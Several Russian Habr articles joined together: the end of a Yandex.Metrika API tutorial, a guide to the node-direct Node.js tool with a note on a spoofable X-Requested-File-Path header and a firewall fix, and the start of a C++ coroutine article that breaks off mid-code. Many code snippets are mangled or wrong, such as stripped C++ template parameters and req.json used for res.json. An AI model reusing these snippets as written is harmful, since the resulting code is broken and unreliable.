Пункт 2 (интеграция статистики в CRM), понятен без всяких объяснений. Добавить к внутренней информации о заказе его источник, регион покупателя и иногда даже конкретный рекламный креатив — это голубая мечта любого рекламщика/аналитика. После того, как это будет сделано, сразу станет видно, какая реклама эффективна, а какая нет и заодно избавить колл-центр хотя бы от нескольких лишних вопросов к пользователю.
Автоматизация работы сотрудников (пункт 3) важен для тех, кто размещает много рекламы, тратит много денег на SEO и постоянно отслеживает эффективность всего этого дела. Допустим, что каждую неделю ваши сотрудники обрабатывают 40 отчетов из Яндекс.Метрики. На каждый отчет они тратят по 10 минут. Это 6 часов 40 минут. А если выдавать им уже обработанные документы, то эти 7 часов можно будет потратить на что-то реально полезное.
#### Главное преимущество для программиста
После работы с API GA и его громоздким XML-форматом, мне хотелось бы отдельно подчеркнуть ещё один важный момент: Метрика позволяет получать данные в JSON! На мой взгляд, это одно из важнейших конкурентных преимуществ перед GA. Все современные языки умеют работать с JSON из коробки, и таким образом отпадает нужда в каких-либо дополнительных библиотеках. В отличие от Google с Метрикой можно сразу сесть и ехать.
В этом очень легко убедиться, откройте новую вкладку браузера и перейдите по следующему URL (вы должны быть залогинены в Яндексе): <http://api-metrika.yandex.ru/counters.json?pretty=1>.
Поздравляю, вы только что воспользовались API метрики. И вам даже не нужны никакие дополнительные программы, чтобы разобрать ответ сервера.
[](http://habrastorage.org/storage1/c43c437c/a0fe1455/877ecb5b/4d73bc90.png)
#### Делаем собственный сервис на основе API Метрики
Итак, чтобы поглубже разобраться в API, попробуем сделать интернет-сервис, расширяющий стандартные возможности Метрики. По умолчанию в ней отсутствует одна очень важная штука — сравнение с прошлым периодом. Это очень удобная возможность, благодаря которой аналитика сайта становится существенно проще. В GA сравнение по периоду выглядит так:
[](http://habrastorage.org/storage1/66ed6816/919a248f/17c2f361/7c9b96de.png)
Попробуем сделать что-то подобное для Метрики.
Перед тем, как приступать к созданию непосредственно отчетов, надо дать пользователю возможность выбрать счетчик, статистику которого он хочет увидеть. Для этого мы должны воспользоваться той ссылкой, которую уже видели выше (<http://api-metrika.yandex.ru/counters.json>). Из информации, которую присылает сервер, нам надо вытащить два параметра: id и site. ID — это номер счетчика, без которого невозможно получить никакой статистики, а site — это название сайта, указанное при регистрации.
Следует отметить, что при создании API требуется авторизоваться. Это можно сделать несколькими разными способами, которые я не буду описывать в этой статье. Для своего сервиса я выбрал oAuth, т. к. уже использовал его при работе с сервисами Google. Как оказалось, реализацию oAuth от Яндекса использовать существенно проще, чем версию его заокеанского соперника.
Итак, создадим для пользователя интерфейс выбора счетчика и периода, с которым мы будем сравнивать наши данные. На питоне код для запроса счётчиков будет выглядеть так:
> `**class** **FetchCounters**(webapp.RequestHandler):
>
> **def** post(self):
>
> token = cgi.escape(self.request.get('token'))
>
> counters = memcache.get(token)
>
> **if** counters **is** None:
>
> fetch_url = 'api-metrika.yandex.ru/counters.json?oauth\_token=' + token
>
> result = urlfetch.fetch(url=fetch_url, deadline=3600)
>
> **if** result.status_code == 200:
>
> counters = json.loads(result.content)["counters"]
>
> memcache.add(token, counters, 3600) *# TTL 3600 \_\_seconds\_\_*
>
> **else**:
>
> counters = 'Oops, looks like you don**\'**t have permission to access counters'
>
> self.response.out.write(json.dumps(counters))`
Поскольку данный сервис не предназначен для продакшна, сохраним для пользовательского токена список счетчиков в memcache, чтобы не дергать сервер лишний раз. В реальности этого делать на платформе Google AppEngine, вероятно, не стоит — размер memcache относительно небольшой.
Для пользователя интерфейс будет выглядеть так:
[](http://habrastorage.org/storage1/82da4617/467a5b06/02e0112d/29194f7b.png)
Далее, нам нужно выбрать подходящий отчёт из доступного списка. В API Метрики есть следующие группы отчетов:
* Трафик
* Источники
* Содержание
* География
* Демография
* Компьютеры
Для построения графика нужно знать число посещений в каждый из дней рассматриваемого периода, поэтому нам нужна группа отчетов “трафик”, а в ней отчет “посещаемость”. Чтобы получить необходимые данные сформируем запрос следующего вида:
<http://api-metrika.yandex.ru/stat/traffic/summary.json?id=XXXXXX&date1=YYYYMMDD&date2=YYYYMMDD&oauth_token=XXXXXX>
В качестве id выступает ID выбранного пользователем счетчика, date1 и date2 — даты в указанном формате. Любой запрос к API метрики можно проверить прямо в браузере, поэтому вы можете просто взять id своего счетчика и подставить его в эту ссылку. Если вы залогинены в сервисах Яндекса, oAuth токен можно опустить.
В ответ метрика вернет отчет, в котором содержится много разной лишней информации, нам требуется только дата («date») и число посещений («visits»):
> `data1 = map(**lambda** x: { "date": self.format_date(x["date"]), "visits": x["visits"] }, json.loads(res1.content)["data"])`
Далее, сравним выбранный пользователем период с аналогичным по числу дней предыдущим периодом (например, 1.06-7.06 будет сравниваться с 24.05-31.05). Для этого сначала вычислим длину рассматриваемого периода во времени:
> `period = [datetime.strptime(cgi.escape(self.request.get('date\_1')), "%Y-%m-**%d**"), datetime.strptime(cgi.escape(self.request.get('date\_2')), "%Y-%m-**%d**")]
>
> rng = period[1] - period[0] + timedelta(1)`
А затем вычтем длину из конечных точек нашего периода:
> `res2 = self.fetch_data(map(**lambda** x: x - rng, period))
>
> **if** **not** res2:
>
> **return**
>
> data2 = map(**lambda** x: { "visits": x["visits"] }, json.loads(res2.content)["data"])`
В результате для каждой даты из пользовательского периода у нас будет число визитов в этот день и N дней назад и на основе этих данных уже можно строить график. Я для построения графиков использовал Google Charts, потому что с ними просто работать, а результат выглядит довольно красиво. График сравнения выглядит так:
Теперь, когда у нас есть данные по дням и визитам, почему бы нам не рассчитать отклонение от среднего в каждый из дней. Если представить эту информацию в виде гистограммы, её будет проще воспринимать, чем, если вглядываться в построенный график.
Для этого посчитаем среднее значение, разделив сумму визитов на число дней, а затем сравним полученное значение со значением каждого отдельного дня. В результате получим следующую диаграмму:
Итак, теперь у нас есть диаграммы для сравнения трафика с прошлым, но чтобы сделать наш сервис по-настоящему полезным, надо туда добавить что-то ещё.
Очень часто при оценке сайта приходится сравнивать, как изменилась популярность страниц. Например, то, что в этом месяце хорошо идут телескопы на подставке Добсона не значит, что они также хорошо продавались в прошлом. Попробуем добавить отчёт, в котором можно будет просто и быстро увидеть изменения в посещаемости страниц.
Для этого мы воспользуемся типом отчетов «содержание», а в нём отчетом «Популярное». В этом отчете содержится информация о числе входов, выходов и просмотров. Получить данные отчета можно перейдя по ссылке <http://api-metrika.yandex.ru/stat/content/popular.json?id=XXXXXX&date1=YYYYMMDD&date2=YYYYMMDD&oauth_token=XXXXXX&per_page=20>.
Обратите внимание, что на этот раз в ссылке появился новый параметр «per\_page». Это необязательный параметр, который указывает API Метрики, сколько записей должно быть в ответе сервера. По умолчанию сервер всегда отдаёт 100 записей, но в данном случае для нас это избыточное значение.
В остальном механизмы получения данных предельно похожи
> `res1 = self.fetch_data(period, 20)
>
> **if** **not** res1:
>
> **return**
>
> data1 = json.loads(res1.content)["data"]
>
>
>
> res2 = self.fetch_data(map(**lambda** x: x - rng, period))
>
> **if** **not** res2:
>
> **return**
>
> data2 = make_url_tuple(json.loads(res2.content)["data"])`
В итоге наш сервис будет выглядеть следующим образом:
Благодаря тому, что в правом столбце показывается, как изменилась позиция в сравнении с прошлым периодом, очень легко понять динамику популярности страниц.
#### Appendix
Поиграться со сделанным сервисом можно по адресу <http://metrika-api.appspot.com>
Исходный код доступен тут: <https://github.com/sakudayo/Hello-Metrics>
Документация по API метрики вывешена Яндексом по URL: <http://api.yandex.ru/metrika/doc/ref/concepts/About.xml>
Документация по Google Charts: <http://code.google.com/intl/ru-RU/apis/chart/> | https://habr.com/ru/post/123207/ | null | ru | null |
# node-direct — один NodeJS сервер на несколько сайтов
tl;dr
=====
С [node-direct](https://github.com/finom/node-direct) можно заливать серверные **.js** файлы и обращаться к ним так же, как к **.php** скриптам: **example.com/foo.srv.js**.
1. Установка.
```
npm install -g node-direct
```
2. Конфигурация nginx.
```
location ~ \.srv\.js$ {
root ;
proxy\_pass http://localhost:;
proxy\_set\_header X-Requested-File-Path $document\_root$uri;
}
```
3. Запуск.
```
node-direct --port=
```
4. Скрипт foo.srv.js, где `req` и `res` созданы сервером [express](http://expressjs.com/ru/).
```
module.exports = function(req, res) {
const someModule = require('some-module');
res.send('Hello world!');
}
```
Введение
========
Когда NodeJS стал более-менее популярным, мне было нелегко осознать, что с ним всё не так просто, как с PHP. Используя последний, можно было создать **.php** файл, залить его на сервер, обратиться по адресу **example.com/путь/имяфайла.php** и радоваться. Такая простота развертывания скриптов служила одной из причин, почему "пых" стал таким популярным.
В свою очередь, NodeJS, независимо от сложности приложения, заставляет очень многие вещи делать руками.
* Гоняй каждое приложение на собственном порту
* Определи роуты самостоятельно
* Настрой деплой
* Убедись, что приложение работает и после перезагрузки сервера
* Не забудь сделать так, чтоб при изменении файлов, NodeJS сервер перезагружался
[pm2](https://github.com/Unitech/pm2) несколько облегчает просесс обновления и запуска приложения после перезагрузки или после брошеных приложением исключений. Но с ним, во первых, нужно набить руку, во-вторых, запуск очередного приложения заставлыть повторять рутинные действия.
Всё вышесказанное является, скорее, преимуществом, чем недостатком, если вы разрабатываете крупное приложение. Но что если приложение очень простое? Что если это вовсе не приложение, а обычный сайт, с небольшой "апишкой" (например, прокси для кроссдоменных запросов)? Что если на VPS гоняется много сайтов, и для каждого настраивать NodeJS сервер — лень.
[node-direct](https://github.com/finom/node-direct) — тулза, которая позволяет разворачивать серверные JavaScript скрипты так же просто, как и **.php**:
* Залил файл
* Обратился к нему так: **example.com/путь/имяфайла.srv.js**
При этом, один инстанс **node-direct** можно использовать на разных сайтах.
Конфигурация
============
За большую часть "магии" отвечает конфиг nginx. Его нужно научить обрабатывать запросы к файлам **.srv.js** (можно юзать любое расширение).
```
location ~ \.srv\.js$ {
root ;
proxy\_pass http://localhost:;
proxy\_set\_header X-Requested-File-Path $document\_root$uri;
}
```
* `path_to_website_files` — путь к файлам сайта
* `port` — порт, на котором живет **node-direct** (по умолчению, 8123)
Пример полного конфига:
```
server {
listen 80;
server_name example.com;
# Serve static files
location / {
root /var/web/example.com/public;
index index.srv.js index.html index.htm;
}
location ~ \.srv\.js$ {
root /var/web/example.com/public;
proxy_pass http://localhost:8123;
proxy_set_header X-Requested-File-Path $document_root$uri;
}
}
```
Т. е. статика сервится при помощи nginx (известно, что это в несколько раз быстрее статики, которую гоняет `express` без кеширования), плюс, в список поддерживаемых серверных файлов можно добавить даже **.php** (юзабельно для легаси проектов).
Использование
=============
```
node-direct --port=8000
```
**node-direct** использует старый добрый [Express](http://expressjs.com/). Серверные файлы должны экспортировать функцию, принимающую `request` и `response`.
Hello world:
```
module.exports = function(req, res) {
const someModule = require('some-module');
res.send('Hello world!');
}
```
JSON API:
```
module.exports = function(req, res) {
if(req.method === 'POST') {
req.json({
message: 'Everything is awesome'
});
} else {
req.status(400).json({
message: 'Only POST requests are allowed'
});
}
}
```
Рендеринг
```
const fs = require('fs');
const ejs = require('ejs');
const template = ejs.compile(fs.readFileSync('./templates/index.html'));
module.exports = function(req, res) {
res.type('html').send(template({ foo: 'bar' }));
}
```
За подробной информацией обратитесь к документации [Express](http://expressjs.com/).
Пример гипотетического приложения:
```
/package.json - содержит dependencies and devDependencies специально для текущего проекта
/index.html - главный HTML файл
/js/app.js - client-side JavaScript
/css/style.css - стили
/node_modules/ - локальные модули установленные с помощью "npm install" (к папке нужно закрыть доступ извне)
/foo/index.srv.js - JSON API, позволяющий делать запросы на /foo/
/bar/index.srv.js - динамическиая HTML страница, которая возвращается при обращении к /bar/
```
Флаги
=====
#### Общие
`--port` — порт сервера node-direct (8123 по умолчанию)
#### Режим standalone
В этом режиме создается HTTP сервер, раздающий статику и не ребующий nginx. Режим используется разработчиком для запуска на локальной машине.
`--standalone` — включает режим standalone
`--root` — путь к статичным файлам (`process.cwd()` по умолчанию)
`--ext` — расширение серверных JS файлов (**.srv.js** по умолчанию)
```
node-direct --port=8000 --standalone --root=./foo/bar --ext=.serverside.js
```
Запуск node-direct после перезагрузки сервера (требуется только один раз)
=========================================================================
Можно добавить новое задание в crontab, вызовом `crontab -e` и добавлением новой задачи в файл.
```
@reboot []
```
* `path_to_node` — абсолютный путь к бинарнику NodeJS (можно вызвать `which node`)
* `path_to_installed_module` — абсолютный путь до установленного **node-direct**
* `flags` — флаги
Пример:
```
@reboot /usr/local/bin/node /usr/local/lib/node_modules/node-direct/index.js --port=8000
```
Проблемы
========
### Кеширование запрашиваемых модулей
Как известно, NodeJS кеширует значения, которые возвращает функция `require`. Когда вызывается `require('foo')` два или более раз, функция возвращает одно и то же значение. **node-direct** обновляет кеш автоматически, когда файл **.srv.js** изменен (например, вы залили новый файл на сервер) и перезагружать **node-direct** нет необходимости. Проблема может возникнуть тогда, когда **.srv.js** запрашивает другие модули.
```
// foo.srv.js
module.exports = function(req, res) {
const bar = require('./bar');
// ...
}
```
Когда меняется **foo.srv.js**, кеш обновляется, как и ожидается, но когда меняется **./bar**, его значение остаётся прежним. **node-direct** мог бы обновлять все запрашиваемые модули самостоятельно, но это бы вызвало сайд-эффекты с непредсказуемым поведением в других модулях. Эту проблему можно решить созданием вотчера, котогрый чистит кеш, когда заданный модуль обновился.
В примере ниже для **./bar** включена горячая замена, а для **./baz** — нет.
```
// foo.srv.js
// для большего количества модулей с горяей заменой, нужно юзать цикл
const fs = require('fs');
const barPath = require.resolve('./bar');
const watcher = fs.watch(barPath, (eventType) => {
if (eventType === 'change') {
delete require.cache[barPath];
watcher.close();
}
});
module.exports = function(req, res) {
const bar = require('./bar');
const baz = require('./baz');
// ...
}
```
Если выглядит слишком сложно, юзайте небольшой модуль [fresh-up](https://github.com/finom/fresh-up), который делает то же самое.
```
// foo.srv.js
// для большего количества модулей с горяей заменой, нужно юзать цикл
const freshUp = require('fresh-up');
freshUp(require.resolve('./bar');
module.exports = function(req, res) {
const bar = require('./bar');
const baz = require('./baz');
// ...
}
```
### Потенциальная уязвимость: хедер `X-Requested-File-Path`
Как вы, возможно, заметили, nginx передаёт адрес запрашиваемого файла **node-direct** серверу в виде хедера `X-Requested-File-Path`. Используя этот хедер, злоумышленник может вызывать произвольные JavaScript файлы на вашем сервере. Для того, чтоб сделать что-то плохое, хакеру нужно знать адрес "опасного" файла, относительно рута. Для закрытия уязвимости, нужно запретить обращаться к порту **node-direct** извне.
Вот, как это можно сделать в Linux используя файервол [ufw](http://help.ubuntu.ru/wiki/%D1%80%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_ubuntu_server/%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/firewall)
```
sudo ufw deny 8123
``` | https://habr.com/ru/post/312558/ | null | ru | null |
# Асинхронность 3: Субъекторная модель
Предисловие
-----------
Эта статья является продолжением цикла статей про асинхронность:
1. [Асинхронность: назад в будущее.](https://habrahabr.ru/post/201826/)
2. [Асинхронность 2: телепортация сквозь порталы.](https://habrahabr.ru/company/yandex/blog/240525/)
Спустя 3 года я решил расширить и обобщить имеющийся спектр асинхронного взаимодействия с использованием сопрограмм. Помимо этих статей также рекомендуется ознакомиться с *универсальным адаптером*:
1. [Универсальный адаптер](https://habrahabr.ru/post/340314/)
Введение
--------
Рассмотрим электрон. Что он из себя представляет? Отрицательно заряженная элементарная частица, лептон, обладающий некоторой массой. Это означает, что он может участвовать по меньшей мере в электромагнитных и гравитационных взаимодействиях.
Если мы поместим сферический электрон в вакууме, то все, на что он будет способен — это двигаться равномерно и прямолинейно. 3 степени свободы да спин, и только равномерное прямолинейное движение. Ничего интересного и необычного.
Все меняется совершенно удивительным образом, если неподалеку окажутся другие частицы. Например, протон. Что мы про него знаем? Много чего. Нас будет интересовать массовость и наличие положительного заряда, по модулю равного в точности электрону, но с другим знаком. Это означает, что электрон и протон начнут друг с другом взаимодействовать электромагнитным образом.
Результатом этого взаимодействия будет являться искривление прямолинейной траектории под действием электромагнитных сил. Но это пол беды. Электрон, пролетая рядом с протоном, будет испытывать ускорение. Система электрон-протон будет представлять собой диполь, который внезапно начнет создавать *тормозное излучение*. Т.е. порождать электромагнитные волны, распространяющиеся в вакууме.
Но и это еще не все. При определенных обстоятельствах, электрон захватывается на орбиту протона и получается всем известная система — атом водорода. Что мы знаем про такую систему? Тоже много всего. В частности, эта система имеет дискретный набор уровней энергии и линейчатый спектр излучения, образующийся при переходе между каждой парой стационарных состояний.
А теперь давайте взглянем на эту картинку под другим углом. Изначально у нас было две частицы: протон и электрон. Сами по себе частицы не излучают (просто не могут), никаких дискретностей они не проявляют, да и вообще ведут себя спокойно. Но картинка совершенно меняется, когда они находят друг друга. Появляются новые, совершенно уникальные свойства — непрерывный и дискретный спектр, стационарные состояния, минимальный уровень энергии системы. В реальности, конечно же, все гораздо сложнее и интереснее:
*Асимметрия штарковского уширения спектральной линии Hβ атома водорода, [Phys. Rev. E 79 (2009)](https://www.researchgate.net/profile/Dragan_Nikolic2/publication/252317673_Experimental_and_Theoretical_Analysis_of_Central_Hb_Asymmetry/links/5658034308ae1ef9297bf662/Experimental-and-Theoretical-Analysis-of-Central-Hb-Asymmetry.pdf)*
Эти рассуждения можно продолжать и дальше. Например, если поместить два атома водорода рядом, то получится устойчивая конфигурация под названием *молекула водорода*. Тут уже появляются электронно-колебательно-вращательные уровни энергии с характерным изменением спектра, появлением P,Q,R ветвей и много чего другого.
Как же так? Разве система не описывается её частями? Нет! В этом и суть, что при усложнении физической системы происходят качественные изменения, не описываемые каждой частью по отдельности.
Синергия взаимодействия проявляется во многих областях научного познания. Именно поэтому химия не редуцируется до физики, а биология — к химии. Несмотря на мощнейшие достижения квантовой механики, тем не менее химия как раздел научного знания существует отдельно от физики. Интересно отметить тот факт, что появляются области знания на стыке наук, например, [*квантовая химия*](https://ru.wikipedia.org/wiki/%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D1%85%D0%B8%D0%BC%D0%B8%D1%8F). О чем это говорит? Что при усложнении системы появляются новые области исследований, которых не было на предыдущем уровне. Приходится учитывать новые обстоятельства, вводить дополнительные качественные факторы, усложняя каждый раз и без того непростую модель описания квантово-механической системы.
Описанные метаморфозы можно развернуть наоборот: если необходимо получить сложную систему из наиболее простых компонент, то эти компоненты должны обладать синергетическим принципом. В частности, все мы знаем, что любую задачу можно решить, введя дополнительный уровень абстракции. За исключением проблемы числа абстракций и возникающей при этом сложности. И лишь синергия абстракций позволяет уменьшить их количество.
К сожалению, достаточно часто наши программы не проявляют описанного синергетического свойства. Разве что в багах — появляются новые, доселе невиданные глюки, которые не были обнаружены на предыдущем этапе. А как бы хотелось, чтобы приложение не описывалось набором частей и библиотек программы, а представляло собой нечто уникальное и грандиозное.
Давайте же теперь попробуем проникнуть в суть ООП и сопрограмм для получения новых и удивительных свойств их синтеза с целью создания обобщенной модели взаимодействия.
Объектно-ориентированное программирование
-----------------------------------------
Рассмотрим ООП. Что мы про него знаем? Инкапсуляция, наследование, полиморфизм? [SOLID принципы](https://ru.wikipedia.org/wiki/SOLID_(%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))? А давайте спросим Алана Кея, который и ввел это понятие:
> Когда я говорил про ООП, то я не имел в виду С++.
>
>
>
> *Алан Кей*.
>
>
Это серьезный удар для программистов С++. Даже как-то обидно стало за язык. Но что же он имел в виду? Давайте разбираться.
Концепция объектов была введена в середине 1960-х с появлением языка Simula 67. Этот язык ввел такие понятия как объект, виртуальные методы и сопрограммы (!). Затем в 1970-х язык Smalltalk под влиянием языка Simula 67 развил идею объектов и ввел термин *объектно-ориентированное программирование*. Именно там были заложены основы того, что мы сейчас называем ООП. Сам Алан Кей так комментировал свою фразу:
> Я жалею, что придумал термин «объекты» много лет назад, потому что он заставляет людей концентрироваться на мелких идеях. По-настоящему большая идея — это сообщения.
>
>
>
> *Алан Кей*.
>
>
Если вспомнить Smalltalk, то становится понятно, что это означает. В этом языке использовалась посылка сообщений (см. также ObjectiveC). Этот механизм работал, но был тормозным. Поэтому в дальнейшем пошли по пути языка Simula и заменили посылку сообщений на обычные вызовы функций, а также вызовы виртуальных функций через таблицу этих самых виртуальных функций для поддержки позднего связывания.
Чтобы вернуться к истокам ООП, давайте по новому взглянем на классы и методы в С++. Для этого в качестве примера рассмотрим класс `Reader`, вычитывающий данные из источника и возвращающий объект типа `Buffer`:
```
class Reader
{
public:
Buffer read(Range range, const Options& options);
// и другие методы ...
};
```
В данном случае меня будет интересовать лишь метод `read`. Этот метод можно преобразовать в следующий, почти эквивалентный, вызов:
```
Buffer read(Reader* this,
Range range,
const Options& options);
```
Вызов метода объекта мы просто превратили в отдельно стоящую функцию. Именно этим и занимается компилятор, когда преобразует наш код в машинный. Однако такой путь уводит нас в сторону, а точнее в сторону языка С. Тут ООП не пахнет даже близко, поэтому пойдем в другую сторону.
Как мы вызываем метод `read`? Например, так:
```
Reader reader;
auto buffer = reader.read(range, options);
```
Трансформируем вызов метода `read` следующим образом:
```
reader
<- read(range, options)
-> buffer;
```
Эта запись означает следующее. Объекту с именем `reader` подается на вход некий `read(range, options)`, а на выходе он дает объект с именем `buffer`.
Что может представлять собой `read(range, options)`? Некоторое входное сообщение:
```
struct InReadMessage
{
Range range;
Options options;
};
struct OutReadMessage
{
Buffer buffer;
};
reader
<- InReadMessage{range, options}
-> OutReadMessage;
```
Такая трансформация нам дает несколько иное понимание происходящего: вместо вызова функции мы *синхронно* отправляем сообщение `InReadMessage` и затем дожидаемся ответного сообщения `OutReadMessage`. Почему синхронно? Потому что семантика вызова подразумевает, что мы дожидаемся ответа. Однако, вообще говоря, ответного сообщения в месте вызова можно и не дожидаться, тогда это будет *асинхронная* отправка сообщения.
Таким образом, все методы можно представить в качестве обработчиков различных типов сообщений. А наш объект автоматически диспетчеризует принятые сообщения, осуществляя статический pattern matching через механизм декларации различных методов и перегрузки одинаковых методов с разными типами входных параметров.
### Перехват сообщений и трансформация действий
Поработаем над нашими сообщениями. Как же нам упаковать сообщение для последующей трансформации? Для этого будем использовать адаптер:
```
template
struct ReaderAdapter : T\_base
{
Buffer read(Range range, const Options& options)
{
return T\_base::call([range, options](Reader& reader) {
return reader.read(range, options);
});
}
};
```
Теперь при вызове метода `read` происходит упаковка вызова в лямбду и передача этого вызова в метод базового класса `T_base::call`. В данном случае лямбда представляет собой функциональный объект, который будет передавать свое замыкание нашему объекту-наследнику `T_base`, автоматически его диспетчеризуя. Вот эта лямбда и есть наше сообщение, которое мы передаем дальше для трансформации действий.
Наиболее простой способ трансформации — это синхронизация доступа к объекту:
```
template
struct BaseLocker : private T\_base
{
protected:
template
auto call(F&& f)
{
std::unique\_lock \_{lock\_};
return f(static\_cast(\*this));
}
private:
T\_locker lock\_;
};
```
Внутри метода `call` происходит взятие блокировки `lock_` и последующий вызов лямбды на экземпляре базового класса `T_base`, что позволяет производить дальнейшие трансформации при необходимости.
Давайте попробуем использовать такую функциональность:
```
// создаем экземпляр
ReaderAdapter> reader;
auto buffer = reader.read(range, options);
```
Что здесь происходит? Вместо использования непосредственно `Reader` мы теперь подменяем объект на `ReaderAdapter`. Этот адаптер при вызове метода `read` создает сообщение в виде лямбды и передает его дальше, где уже автоматически берется блокировка и отпускается строго на время выполнения этой операции. При этом мы в точности сохраняем исходный интерфейс класса `Reader`!
Этот подход можно легко обобщить и использовать универсальный адаптер. Про него я [рассказывал на конференции С++](https://www.youtube.com/watch?v=mnH_-qFU5E0), которая проходила в Москве в феврале 2017 года. Также можно почитать мою недавнюю статью про [универсальный адаптер](https://habrahabr.ru/post/340314/).
Соответствующий код с применением универсального адаптера будет выглядеть следующим образом:
```
DECL_ADAPTER(Reader, read)
AdaptedLocked reader;
```
Здесь адаптер перехватывает каждый метод класса `Reader`, указанный в списке `DECL_ADAPTER`, в данном случае `read`, а затем `AdaptedLocked` уже перехваченное сообщение оборачивает в `std::mutex`. Более детально про это описано в указанной чуть выше статье, поэтому здесь я не буду подробно на этом останавливаться.
Сопрограммы
-----------
С ООП немного разобрались. Теперь зайдем с другой стороны и поговорим про сопрограммы.
Что такое сопрограммы? Если говорить вкратце, то это такие функции, которые можно прервать в любом месте, а затем продолжить с этого же места, т.е. заморозить исполнение и восстановить его с прерванной точки. В этом смысле они очень похожи на потоки: операционная система тоже в любой момент времени может их заморозить и переключить на другой поток. Например, из-за того, что мы съели слишком много процессорного времени.
Но в чем же тогда отличие от потоков? Отличие в том, что мы сами в пользовательском пространстве можем переключать наши сопрограммы, наши потоки исполнения, не привлекая к этому ядро. Что позволяет, во-первых, повысить производительность, т.к. нет необходимости переключать кольца защиты и др., а во-вторых, добавляет более интересные способы взаимодействия, которые и будут рассмотрены ниже.
Некоторые интересные способы взаимодействия можно почитать в [моих предыдущих](https://habrahabr.ru/post/201826/) статьях [про асинхронность](https://habrahabr.ru/company/yandex/blog/240525/).
### CoSpinLock
Рассмотрим следующий кусок кода:
```
namespace synca {
struct Spinlock
{
void lock()
{
while (lock_.test_and_set(std::memory_order_acquire)) {
reschedule();
}
}
void unlock()
{
lock_.clear(std::memory_order_release);
}
private:
std::atomic_flag lock_ = ATOMIC_FLAG_INIT;
};
} // namespace synca
```
Приведенный код выглядит как обычный спинлок. Действительно, внутри метода `lock` мы пытаемся атомарно выставить значение флага из `false` в `true`. Если это нам удалось, то блокировка взята, причем взята именно нами, и можно выполнять необходимые атомарные действия. При разблокировке просто сбрасываем флаг обратно в начальное значение `false`.
Все отличие кроется в реализации стратегии отлупа (backoff). Часто используется либо экспоненциальный рандомизированный отлуп, либо передача управления операционной системе через `std::this_thread::yield()`. В данном случае я поступаю хитрее: вместо прогрева процессора или передачи управления планировщику операционной системы я просто перепланирую нашу сопрограмму на более позднее исполнение через вызов `synca::reschedule`. При этом текущее исполнение замораживается, и планировщик запускает другую, готовую к исполнению сопрограмму. Это очень похоже на `std::this_thread::yield()` за исключением того, что вместо переключение в пространство ядра мы все время остаемся в пространстве пользователя и продолжаем делать какую-то осмысленную работу без пустого увеличения энтропии пространства.
Применим адаптер:
```
template
using CoSpinlock = AdaptedLocked;
CoSpinlock reader;
auto buffer = reader.read(range, options);
```
Как видим, код использования и семантика не изменились, зато изменилось поведение.
### CoMutex
Тот же самый трюк можно провернуть и с обычным мьютексом, превратив его в асинхронный на сопрограммах. Для этого нужно завести очередь ожидающих сопрограмм и последовательно их запускать в момент отпускания блокировки. Это можно проиллюстрировать следующей схемой:
Я здесь не буду приводить полный код реализации. Желающие могут с ним ознакомиться самостоятельно. Приведу лишь пример использования:
```
template
using CoMutex = AdaptedLocked;
CoMutex reader;
auto buffer = reader.read(range, options);
```
Такой мьютекс имеет семантику обычного мьютекса, однако при этом не блокирует поток, заставляя планировщик сопрограмм выполнять полезную работу без переключения в пространство ядра. При этом `CoMutex`, в отличие от `CoSpinlock`, дает FIFO-гарантию, т.е. предоставляет справедливый конкурентный доступ к объекту.
### CoSerializedPortal
В статье [Асинхронность 2: телепортация сквозь порталы](https://habrahabr.ru/company/yandex/blog/240525/) был подробно рассмотрен вопрос о переключении контекста между различными планировщиками через использование телепортации и портала. Вкратце опишу этот процесс.
Рассмотрим пример, когда нам необходимо переключить сопрограмму с одного потока на другой. Для этого мы можем заморозить текущее состояние нашей сопрограммы в исходном потоке, а затем запланировать возобновление сопрограммы в другом потоке:
Это как раз и будет соответствовать переключению исполнения с одного потока на другой. Сопрограмма дает дополнительный уровень абстракции между кодом и потоком, позволяя манипулировать текущим исполнением и выполнять различные трюки и фокусы. Переключение между различными планировщиками — это телепортация.
Если же нам необходимо переключиться сначала в другой планировщик, а затем вернуться обратно — то тут возникает портал, в конструкторе которого происходит телепортация в другой планировщик, а в деструкторе — в исходный. Это гарантирует возврат к истокам даже при генерации исключения.
Соответственно, возникает простая идея. Создадим планировщик с одним потоком и будем на него перепланировать наши сопрограммы через порталы:
```
template
struct BaseSerializedPortal : T\_base
{
// создаем пул потоков с 1 потоком
BaseSerializedPortal() : tp\_(1) {}
protected:
template
auto call(F&& f)
{
// в конструкторе портала перемещаемся в планировщик с 1 потоком
synca::Portal \_{tp\_};
return f(static\_cast(\*this));
// а в деструкторе возвращаемся в исходный планировщик
}
private:
mt::ThreadPool tp\_;
};
CoSerializedPortal reader;
```
Понятно, что такой планировщик будет сериализовывать наши действия, а значит, синхронизировать их между собой. При этом, если пул потоков дает FIFO-гарантии, то и `CoSerializedPortal` будет обладать аналогичной гарантией.
### CoAlone
Предыдущий подход с порталами можно использовать несколько иначе. Для этого воспользуемся другим планировщиком: `synca::Alone`.
Этот планировщик обладает следующим чудесным свойством: в любой момент времени может исполняться не более одной задачи данного планировщика. Таким образом, `synca::Alone` гарантирует, что ни один обработчик не будет запущен параллельно с другим. Есть задачи — будет выполняться только одна из них. Нет задач — ничего и не исполняется. Понятно, что при таком подходе происходит сериализация действий, а значит, доступ через этот планировщик будет синхронизирован. Семантически, это очень похоже на `CoSerializedPortal`. Стоит, однако, отметить, что такой планировщик запускает свои задачи на некотором пуле потоков, т.е. он самостоятельно не создает никаких новых потоков, а работает на уже существующих.
Для более подробной информации я отправляю читателя к оригинальной статье [Асинхронность 2: телепортация сквозь порталы](https://habrahabr.ru/company/yandex/blog/240525/).
```
template
struct BaseAlone : T\_base
{
BaseAlone(mt::IScheduler& scheduler)
: alone\_{scheduler} {}
protected:
template
auto call(F&& f)
{
// т.к. Alone - планировщик, то снова используем портал
